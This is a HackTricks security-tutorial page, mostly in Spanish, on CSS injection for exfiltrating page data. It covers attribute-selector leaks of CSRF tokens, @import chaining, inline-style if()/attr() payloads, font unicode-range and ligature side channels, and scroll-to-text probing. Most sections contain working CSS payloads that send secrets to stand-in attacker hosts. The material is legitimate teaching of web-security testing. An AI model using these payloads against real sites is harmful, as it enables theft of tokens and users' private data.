CSS Injection
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
CSS Injection
LESS Code Injection
LESS es un preprocesador de CSS popular que añade variables, mixins, funciones y la poderosa directiva @import. Durante la compilación, el motor de LESS obtendrá los recursos referenciados en las sentencias @import e incluirá (“inline”) sus contenidos en el CSS resultante cuando se usa la opción (inline).
{{#ref}} less-code-injection.md {{/ref}}
Selector de Atributo
Los selectores CSS se diseñan para coincidir con los valores de los atributos name y value de un elemento input. Si el atributo value del elemento input empieza con un carácter específico, se carga un recurso externo predefinido:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (type=“hidden”), porque los elementos ocultos no cargan backgrounds.
Bypass para elementos ocultos
Para eludir esta limitación, puedes seleccionar un elemento sibling posterior usando el ~ general sibling combinator. La regla CSS se aplica entonces a todos los siblings que siguen al hidden input element, provocando que la background image se cargue:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Un ejemplo práctico de explotación de esta técnica está detallado en el fragmento de código proporcionado. Puedes verlo here.
Requisitos previos para CSS Injection
Para que la técnica de CSS Injection sea efectiva, deben cumplirse ciertas condiciones:
- Longitud del payload: El vector de CSS injection debe soportar payloads lo suficientemente largos para acomodar los selectores diseñados.
- Re-evaluación de CSS: Deberías tener la capacidad de enmarcar la página, lo cual es necesario para desencadenar la re-evaluación del CSS con payloads recién generados.
- Recursos externos: La técnica asume la posibilidad de usar imágenes alojadas externamente. Esto podría estar restringido por la política Content Security Policy (CSP).
Blind Attribute Selector
As explained in this post, it’s possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
También es posible usar esos selectores para extraer información de varios bloques del mismo tipo, como en:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combinando esto con la siguiente técnica @import, es posible exfiltrar mucha información usando CSS injection desde páginas ciegas con blind-css-exfiltration.
@import
La técnica anterior tiene algunas desventajas, revisa los prerrequisitos. O bien necesitas poder enviar múltiples enlaces a la víctima, o bien necesitas poder cargar la página vulnerable a CSS injection en un iframe.
Sin embargo, existe otra técnica ingeniosa que usa CSS @import para mejorar la eficacia de la técnica.
Esto fue mostrado por primera vez por Pepe Vila y funciona así:
En lugar de cargar la misma página una y otra vez con decenas de payloads diferentes cada vez (como en la técnica anterior), vamos a cargar la página solo una vez y únicamente con un import al servidor del atacante (este es el payload que hay que enviar a la víctima):
@import url("//attacker.com:5001/start?");
- La importación va a recibir algún script CSS de los atacantes y el browser lo cargará.
- La primera parte del script CSS que enviará el atacante es otro @import al servidor del atacante de nuevo.
- El servidor del atacante no responderá a esta petición todavía, porque queremos leak algunos caracteres y luego responder este import con el payload para leak los siguientes.
- La segunda y más grande parte del payload será un attribute selector leakage payload
- Esto enviará al servidor del atacante el primer char del secreto y el último
- Una vez que el servidor del atacante haya recibido el primer y último char del secreto, va a responder el import solicitado en el paso 2.
- La respuesta será exactamente la misma que en los pasos 2, 3 y 4, pero esta vez intentará encontrar el segundo char del secreto y luego el penúltimo.
El atacante seguirá ese bucle hasta que logre filtrar completamente el secreto.
You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.
Tip
The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }
This allows the script to leak the secret faster.
Warning
A veces el script no detecta correctamente que el prefijo + sufijo descubierto ya es la flag completa y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se quedará colgado.
No te preocupes, solo revisa la salida porque puedes ver la flag allí.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sumidero: controla el atributo style de un elemento y asegúrate de que el atributo objetivo esté en el mismo elemento (attr() solo lee atributos del mismo elemento).
- Leer: copia el atributo en una variable CSS: –val: attr(title).
- Decidir: selecciona una URL usando condicionales anidados comparando la variable con candidatas de tipo string: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrar: aplica background: image-set(var(–steal)) (o cualquier propiedad que haga fetch) para forzar una petición al endpoint elegido.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Payload funcional (se requieren comillas dobles en la comparación):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerando valores de atributos con condicionales anidados:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Demostración realista (sondeando nombres de usuario):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notas y limitaciones:
- Funciona en navegadores basados en Chromium en el momento de la investigación; el comportamiento puede diferir en otros engines.
- Más adecuado para espacios de valores finitos/enumerables (IDs, flags, short usernames). Robar cadenas arbitrariamente largas sin hojas de estilo externas sigue siendo desafiante.
- Cualquier propiedad CSS que obtenga una URL puede usarse para disparar la petición (p. ej., background/image-set, border-image, list-style, cursor, content).
Automatización: a Burp Custom Action puede generar nested inline-style payloads para brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Other selectors
Otras formas de acceder a partes del DOM con CSS selectors:
- .class-to-search:nth-child(2): Esto buscará el segundo elemento con la clase “class-to-search” en el DOM.
- :empty selector: Usado por ejemplo en this writeup:
css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }
Error based XS-Search
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
La intención general es usar una fuente personalizada desde un endpoint controlado y asegurarse de que el texto (en este caso, ‘A’) se muestre con esa fuente solo si el recurso especificado (favicon.ico) no se puede cargar.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Uso de fuente personalizada:
- Una fuente personalizada se define usando la regla @font-face dentro de una etiqueta
- La fuente se llama poc y se obtiene de un endpoint externo (http://attacker.com/?leak).
- La propiedad unicode-range se establece en U+0041, apuntando al carácter Unicode específico ‘A’.
- Elemento Object con texto fallback:
- Se crea un elemento
- La font-family para este elemento se establece en ‘poc’, como se definió en la sección
- Si el recurso (favicon.ico) falla al cargar, se mostrará el contenido de fallback (la letra ‘A’) dentro de la etiqueta
- El contenido de fallback (‘A’) se renderizará usando la fuente personalizada poc si el recurso externo no puede cargarse.
Estilizando Scroll-to-Text Fragment
La pseudo-clase :target se emplea para seleccionar un elemento apuntado por un URL fragment, tal como se especifica en la CSS Selectors Level 4 specification. Es crucial entender que ::target-text no coincide con ningún elemento a menos que el texto sea apuntado explícitamente por el fragmento.
Surge una preocupación de seguridad cuando los atacantes explotan la característica Scroll-to-text, lo que les permite confirmar la presencia de texto específico en una página web cargando un recurso desde su server mediante HTML injection. El método implica inyectar una regla CSS como esta:
:target::before {
content: url(target.png);
}
En tales escenarios, si el texto “Administrator” está presente en la página, se solicita el recurso target.png al servidor, indicando la presencia del texto. Un ejemplo de este ataque puede ejecutarse mediante una URL especialmente diseñada que incrusta el injected CSS junto con un Scroll-to-text fragment:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Aquí, el ataque manipula HTML injection para transmitir el código CSS, apuntando al texto específico “Administrator” a través del Scroll-to-text fragment (#:~:text=Administrator). Si se encuentra el texto, se carga el recurso indicado, señalando inadvertidamente su presencia al atacante.
Para la mitigación, se deben tener en cuenta los siguientes puntos:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para leakar secretos arbitrarios o tokens.
- Restriction to Top-level Browsing Contexts: STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más visible para el usuario.
- Necessity of User Activation: STTF requiere un gesto de activación por parte del usuario para operar, lo que significa que las explotaciones solo son viables mediante navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automaticen sin interacción del usuario. No obstante, el autor del blog señala condiciones y bypasses específicos (p. ej., social engineering, interacción con extensiones del navegador muy difundidas) que podrían facilitar la automatización del ataque.
La conciencia de estos mecanismos y de las vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tales tácticas explotativas.
Para más información consulte el informe original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Puedes ver un exploit que usa esta técnica para un CTF aquí.
@font-face / unicode-range
Puedes especificar fuentes externas para valores unicode específicos que solo serán recuperadas si esos valores unicode están presentes en la página. Por ejemplo:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
La técnica descrita consiste en extraer texto de un nodo explotando ligaduras de fuente y monitorizando cambios en la anchura. El proceso incluye varios pasos:
- Creation of Custom Fonts:
- Se crean fuentes SVG con glyphs que tienen un atributo horiz-adv-x, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
- Ejemplo de glyph SVG:
, donde “XY” denota una secuencia de dos caracteres. - Estas fuentes se convierten luego a formato woff usando fontforge.
- Detection of Width Changes:
- Se usa CSS para evitar que el texto se ajuste en varias líneas (white-space: nowrap) y para personalizar el estilo de la scrollbar.
- La aparición de una barra de desplazamiento horizontal, estilizada de forma distinta, actúa como indicador (oráculo) de que una ligadura específica, y por tanto una secuencia de caracteres específica, está presente en el texto.
- The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Exploit Process:
- Step 1: Se crean fuentes para pares de caracteres con anchura considerable.
- Step 2: Se emplea un truco basado en la scrollbar para detectar cuándo se renderiza el glifo de gran anchura (ligadura para un par de caracteres), lo que indica la presencia de la secuencia de caracteres.
- Step 3: Al detectar una ligadura, se generan nuevos glyphs que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter precedente o siguiente.
- Step 4: Se detecta la ligadura de tres caracteres.
- Step 5: El proceso se repite, revelando progresivamente todo el texto.
- Optimization:
- El método de inicialización actual usando no es óptimo.
- Un enfoque más eficiente podría implicar el truco de CSS @import, mejorando el rendimiento del exploit.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
This trick was released in this Slackers thread. El charset usado en un nodo de texto puede ser leaked using the default fonts instaladas en el navegador: no se necesitan fuentes externas ni personalizadas.
El concepto gira en torno a utilizar una animación para expandir incrementalmente el ancho de un div, permitiendo que un carácter a la vez pase de la parte ‘suffix’ del texto a la parte ‘prefix’. Este proceso efectivamente divide el texto en dos secciones:
- Prefix: La línea inicial.
- Suffix: La(s) línea(s) subsiguiente(s).
Las etapas de transición de los caracteres aparecerían de la siguiente forma:
C
ADB
CA
DB
CAD
B
CADB
Durante esta transición se emplea el unicode-range trick para identificar cada nuevo carácter a medida que se une al prefijo. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente por defecto, provocando consecuentemente una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela de forma indirecta la presencia de un nuevo carácter en el prefijo.
Aunque este método permite la detección de caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que se ha producido una repetición.
Tip
Básicamente, el unicode-range se usa para detectar un carácter, pero como no queremos cargar una fuente externa, necesitamos encontrar otra manera.
Cuando el carácter es encontrado, se le asigna la preinstalada Comic Sans, que hace que el carácter sea más grande y activa una barra de desplazamiento que leak el carácter encontrado.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset con una fuente predeterminada ocultando elementos (sin requerir recursos externos)
Referencia: Esto se menciona como an unsuccessful solution in this writeup
Este caso es muy similar al anterior; sin embargo, aquí el objetivo de hacer que ciertos caracteres sean más grandes que otros para ocultar algo —como un botón para que el bot no lo presione o una imagen que no se cargará—. Así podríamos medir la acción (o la ausencia de la acción) y saber si un carácter específico está presente en el texto.
Text node exfiltration (III): leaking the charset mediante temporización de caché (sin requerir recursos externos)
Referencia: Esto se menciona como an unsuccessful solution in this writeup
En este caso, podríamos intentar leak si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Si hay una coincidencia, la fuente se cargará desde /static/bootstrap.min.css?q=1. Aunque no se cargará correctamente, el navegador debería almacenarlo en caché, y aun si no hay caché, existe un mecanismo 304 not modified, por lo que la respuesta debería ser más rápida que otras cosas.
Sin embargo, si la diferencia de tiempo entre la respuesta en caché y la no en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, encontré que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot usa la flag disk-cache-size=1, lo cual es bastante sensato.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)
Reference: Esto se menciona como an unsuccessful solution in this writeup
En este caso puedes indicar CSS para cargar cientos de fuentes falsas desde el mismo origen cuando ocurre una coincidencia. De esta forma puedes medir el tiempo que tarda y averiguar si un carácter aparece o no con algo como:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Y el código del bot se ve así:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Entonces, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuente, se enviarán múltiples solicitudes para recuperar la fuente, causando actividad continua en la red. Como resultado, tardará más en cumplirse la condición de parada y en recibirse la respuesta. Por lo tanto, el tiempo de respuesta puede usarse como indicador para determinar si existe una coincidencia de fuente.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

